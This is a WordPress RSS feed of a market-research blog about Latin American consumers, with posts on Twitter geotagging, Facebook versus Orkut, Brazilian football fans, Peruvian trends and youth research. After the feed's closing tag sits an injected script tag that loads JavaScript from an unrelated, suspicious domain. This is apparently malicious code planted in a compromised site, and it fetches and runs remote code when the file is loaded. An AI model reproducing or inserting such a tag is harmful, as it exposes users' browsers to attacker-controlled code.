

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blogamericas.com &#187; twramericas</title>
	<atom:link href="http://www.blogamericas.com/tag/twramericas/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blogamericas.com</link>
	<description>The bilingual blog of TWRAmericas</description>
	<lastBuildDate>Sat, 31 Jul 2010 22:53:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Twitter goes Geo</title>
		<link>http://www.blogamericas.com/2009/11/23/twitter-goes-geo/</link>
		<comments>http://www.blogamericas.com/2009/11/23/twitter-goes-geo/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 16:48:23 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[colombia]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[twramericas]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/2009/11/23/twitter-goes-geo/</guid>
		<description><![CDATA[http://www.businessweek.com/technology/content/aug2009/tc20090823_834450.htm a number of reports lately about the fact that the main site number of twitter apps will allow for geotagging of tweets. Interesting stuff &#8211; but how happy would you be to have your tweets tagged? Recently we interviewed a young Colombian who spoke about how Tweets in Colombia had been used to trace [...]]]></description>
			<content:encoded><![CDATA[<p>http://www.businessweek.com/technology/content/aug2009/tc20090823_834450.htm</p>
<p>a number of reports lately about the fact that the main site number of twitter apps will allow for geotagging of tweets. Interesting stuff &#8211; but how happy would you be to have your tweets tagged?<br />
Recently we interviewed a young Colombian who spoke about how Tweets in Colombia had been used to trace people and their behaviours and ultimately lead to kidnappings. Having seen Biz Stone speak recently, i like his &#8220;Quiet American&#8221; (check out the book and not the film) style, but his blind optimism of the power of Twitter to be a force for good rather contradicts some fundamentals of human behaviour.</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/NWCN-RC6gLg&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/NWCN-RC6gLg&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2009/11/23/twitter-goes-geo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OPEN WARFARE? &#8211; Social Networks, moral panics and media battles</title>
		<link>http://www.blogamericas.com/2009/10/01/open-warfare-social-networks-moral-panics-and-media-battles/</link>
		<comments>http://www.blogamericas.com/2009/10/01/open-warfare-social-networks-moral-panics-and-media-battles/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 18:49:00 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Brazil]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[twramericas]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/2009/10/01/open-warfare-social-networks-moral-panics-and-media-battles/</guid>
		<description><![CDATA[Two quick images from the past 24 hours which say a lot about the on-going battles between between traditional and new media companies and within social network giants of Facebook and Orkut. The first comes from the front page of today&#8217;s Sun newspaper in the UK. I don&#8217;t have exact figures on the differing user/purchaser [...]]]></description>
			<content:encoded><![CDATA[<p>Two quick images from the past 24 hours which say a lot about the on-going battles between between traditional and new media companies and within social network giants of Facebook and Orkut.<br />
The first comes from the front page of today&#8217;s Sun newspaper in the UK.<br />
<img src="http://www.blogamericas.com/wp-content/uploads/2009/10/Picture-8-300x250.png" alt="Picture 8" title="Picture 8" width="300" height="250" class="aligncenter size-medium wp-image-479" /><br />
I don&#8217;t have exact figures on the differing user/purchaser numbers for The Sun and Facebook over the past 3 years but one can imagine they look like opposing slopes of major Alpine mountain. As scare stories about the demonised social network continue, quite what the longer term impact impact on consumer attitudes to both The Sun and Facebook would be interesting to explore. I would be interested to know just whether some of the same scare stories are emerging in the old media of other countries?<br />
The second image comes from my own Facebook page yesterday<br />
   <img src="http://www.blogamericas.com/wp-content/uploads/2009/10/Picture-7-300x77.png" alt="Picture 7" title="Picture 7" width="300" height="77" class="aligncenter size-medium wp-image-480" /><br />
Is this all out warfare between Facebook and Orkut? Just what are the relative merits and weaknesses of both social netowrks &#8211; please let us know your thoughts&#8230;  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2009/10/01/open-warfare-social-networks-moral-panics-and-media-battles/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Corinthians join the Cruisers</title>
		<link>http://www.blogamericas.com/2009/09/30/corinthians-join-the-cruisers/</link>
		<comments>http://www.blogamericas.com/2009/09/30/corinthians-join-the-cruisers/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 20:35:43 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Brazil]]></category>
		<category><![CDATA[holidays]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Sport]]></category>
		<category><![CDATA[twramericas]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/2009/09/30/corinthians-join-the-cruisers/</guid>
		<description><![CDATA[Having been to the local derby between Sao Paulo and Corinthians on Sunday I was interested to see that the Timão as they are known (Corinthians for the uninitiated) are just one of a number of Brazilian brands and organisations that are joining the specialist cruise holiday market. Specialist cruises may not be especially new [...]]]></description>
			<content:encoded><![CDATA[<p> <img src="http://www.blogamericas.com/wp-content/uploads/2009/09/Picture-5-300x79.png" alt="Picture 5" title="Picture 5" width="300" height="79" class="aligncenter size-medium wp-image-477" /><br />
Having been to the local derby between Sao Paulo and Corinthians on Sunday I was interested to see that the Timão as they are known (Corinthians for the uninitiated) are just one of a number of Brazilian brands and organisations that are joining the specialist cruise holiday market. Specialist cruises may not be especially new but in the past have been more associated with specialist consumer groups such as the gay market.  However in recent years the phenomenon has grown into a number of new areas. One of the most popular and established is the cruise established by singer (and increasingly entrepreneur) Roberto Carlos. Now in its 6th season the cruise will set sail twice this year with the crooner joining his most avid fans (and a host of sponsos &#8211; including Nestle) afloat for a few days of hero worship to celebrate the clubs centenary. and just to show that the faithful worship in many forms of church these days, the first Catholic cruise will also depart this year. We just hope no-one gets on board the wrong ship by mistake. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2009/09/30/corinthians-join-the-cruisers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nova Lima</title>
		<link>http://www.blogamericas.com/2009/02/11/nova-lima/</link>
		<comments>http://www.blogamericas.com/2009/02/11/nova-lima/#comments</comments>
		<pubDate>Wed, 11 Feb 2009 12:47:47 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[consumer]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[peru]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[twramericas]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/?p=350</guid>
		<description><![CDATA[We&#8217;ve been busy in Peru for the past few weeks looking at some of the social and cultural trends in Lima and beyond. We are in the process of creating a micro-site with more detail on the New Peruvian Consumer, interviews with young Limeñas and a host of visual images from around the city. The [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.blogamericas.com/wp-content/uploads/2009/02/picture-16.png"><img class="size-medium wp-image-351 alignnone" title="picture-16" src="http://www.blogamericas.com/wp-content/uploads/2009/02/picture-16-300x175.png" alt="" width="300" height="175" /></a></p>
<p style="text-align: center;">We&#8217;ve been busy in Peru for the past few weeks looking at some of the social and cultural trends in Lima and beyond. We are in the process of creating a micro-site with more detail on the New Peruvian Consumer, interviews with young Limeñas and a host of visual images from around the city. The site will be up and running soon but in the meantime&#8230;</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/0ziN7yzN3U4&amp;hl=en&amp;fs=1" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/0ziN7yzN3U4&amp;hl=en&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2009/02/11/nova-lima/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Young Lives : Vidas Jovens</title>
		<link>http://www.blogamericas.com/2008/12/22/young-lives-vidas-jovens/</link>
		<comments>http://www.blogamericas.com/2008/12/22/young-lives-vidas-jovens/#comments</comments>
		<pubDate>Mon, 22 Dec 2008 19:22:38 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Brands]]></category>
		<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[twramericas]]></category>
		<category><![CDATA[young lives]]></category>
		<category><![CDATA[Youth]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/?p=333</guid>
		<description><![CDATA[TWRAmericas have recently completed a major study of Trends among young consumers (ages 15-19) in Brasil across various cities and with youth of a variety of ages. The study looked at a range of issues inclusing young peoples values and influences, the role that media and new technologies play in their lives, as well as [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.blogamericas.com/wp-content/uploads/2008/12/etiqueta-dvd2.jpg"><img class="size-full wp-image-327 aligncenter" title="etiqueta-dvd2" src="http://www.blogamericas.com/wp-content/uploads/2008/12/etiqueta-dvd2.jpg" alt="" width="362" height="151" /></a></p>
<p style="text-align: left;">TWRAmericas have recently completed a major study of Trends among young consumers (ages 15-19) in Brasil across various cities and with youth of a variety of ages.</p>
<p style="text-align: left;">The study looked at a range of issues inclusing young peoples values and influences, the role that media and new technologies play in their lives, as well as the role of brands and advertising within their own youth cultures.</p>
<p style="text-align: left;">The research involved a wide range of qualitative methodologies &#8211; from focus groups to online interviews and digital ethnography</p>
<p style="text-align: center;">
<a href="http://www.blogamericas.com/wp-content/uploads/2008/12/twrtechniques.png"><img class="size-medium wp-image-337 aligncenter" title="twrtechniques" src="http://www.blogamericas.com/wp-content/uploads/2008/12/twrtechniques-300x225.png" alt="" width="300" height="225" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">If you would like to know more about the project or to see some of the findings please get in touch and we&#8217;ll send  a copy of the Vidas Jovens DVD Report to you.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/12/22/young-lives-vidas-jovens/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Brazilian football fans &#8211; the Pay per View League</title>
		<link>http://www.blogamericas.com/2008/12/22/brazilian-football-fans-the-pay-per-view-league/</link>
		<comments>http://www.blogamericas.com/2008/12/22/brazilian-football-fans-the-pay-per-view-league/#comments</comments>
		<pubDate>Mon, 22 Dec 2008 18:43:26 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Sport]]></category>
		<category><![CDATA[Football]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[twramericas]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/?p=321</guid>
		<description><![CDATA[Brazilians seem to love questionnaires quant studies with football fans almost as much as the game itself. Recently the members of the Club of 13 (major teams) had access to the first survey conducted among viewers of pay-per-view of the Campeonato Brasileiro. The figures, presented by Globosat will be used as a reference for the [...]]]></description>
			<content:encoded><![CDATA[<p>Brazilians seem to love questionnaires quant studies with football fans almost as much as the game itself. Recently the members of the Club of 13 (major teams) had access to the first survey conducted among viewers of pay-per-view of the Campeonato Brasileiro. The figures, presented by Globosat will be used as a reference for the distribution of quotas of PPV beginning in January 2009. For the first time, clubs will have better tools to reach their fans and increase the revenues of PPV. President of the Club of 13 Fabio Koffi argues that fans know that in buying the packages for transmission, they will be directly helping their teams of heart.<br />
According to the contract signed for the triênio 2009-2011, there will be a new round of the poll in June. The parameters will be used for the distribution of quotas between July 2009 and June 2010.</p>
<p>In the survey, the two institutes spoke to 8193 people in 11 capitals of the country. Check out the list of percentage of the 10 clubs most often mentioned by respondents in October only between subscribers of the channel PFC:</p>
<p>1. Flamengo &#8211; 13.84%<br />
2. Corinthians &#8211; 9.77%<br />
3. Sao Paulo &#8211; 9.21%<br />
4. Palmeiras &#8211; 8.23%<br />
5. Grêmio &#8211; 8.17%<br />
6. Inter &#8211; 6.87%<br />
7. Cruzeiro &#8211; 6.56%<br />
8. Vasco &#8211; 6.46%<br />
9. Atletico-MG &#8211; 5.94%<br />
10. Fluminense &#8211; 5.55%</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/12/22/brazilian-football-fans-the-pay-per-view-league/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NBC 08 Senac, Sao Paulo</title>
		<link>http://www.blogamericas.com/2008/10/26/nbc-08-senac-sao-paulo/</link>
		<comments>http://www.blogamericas.com/2008/10/26/nbc-08-senac-sao-paulo/#comments</comments>
		<pubDate>Sun, 26 Oct 2008 16:03:15 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Brands]]></category>
		<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[Youth]]></category>
		<category><![CDATA[NBC]]></category>
		<category><![CDATA[senac]]></category>
		<category><![CDATA[TFD event]]></category>
		<category><![CDATA[twramericas]]></category>
		<category><![CDATA[young lives]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/?p=288</guid>
		<description><![CDATA[Some shots from the NBC 08 event at SENAC, Sao Paulo Huge thanks to Victor at comlimão discussion group on stage - Tuesday &#8211; presentation 1 presentation 2 presentation 3]]></description>
			<content:encoded><![CDATA[<p>Some shots from the NBC 08 event at SENAC, Sao Paulo<br />
Huge thanks to Victor at <a href="http://www.comlimao.com/">comlimão</a></p>
<p>discussion group on stage -<br />
<a href="http://www.blogamericas.com/wp-content/uploads/2008/10/2962285876_e324448f80_b.jpg"><img class="aligncenter size-medium wp-image-287" title="2962285876_e324448f80_b" src="http://www.blogamericas.com/wp-content/uploads/2008/10/2962285876_e324448f80_b-300x199.jpg" alt="" width="300" height="199" /></a></p>
<p>Tuesday &#8211; presentation 1<br />
<a href="http://www.blogamericas.com/wp-content/uploads/2008/10/2962293808_0f71278fea_b.jpg"><img class="aligncenter size-medium wp-image-289" title="2962293808_0f71278fea_b" src="http://www.blogamericas.com/wp-content/uploads/2008/10/2962293808_0f71278fea_b-300x199.jpg" alt="" width="300" height="199" /></a></p>
<p>presentation 2<br />
<a href="http://www.blogamericas.com/wp-content/uploads/2008/10/2961443321_1aa1ca28b2_b.jpg"><img class="aligncenter size-medium wp-image-285" title="2961443321_1aa1ca28b2_b" src="http://www.blogamericas.com/wp-content/uploads/2008/10/2961443321_1aa1ca28b2_b-300x199.jpg" alt="" width="300" height="199" /></a></p>
<p>presentation 3<br />
<a href="http://www.blogamericas.com/wp-content/uploads/2008/10/2961446979_67045322f2_b.jpg"><img class="aligncenter size-medium wp-image-286" title="2961446979_67045322f2_b" src="http://www.blogamericas.com/wp-content/uploads/2008/10/2961446979_67045322f2_b-300x199.jpg" alt="" width="300" height="199" /><br />
</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/10/26/nbc-08-senac-sao-paulo/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>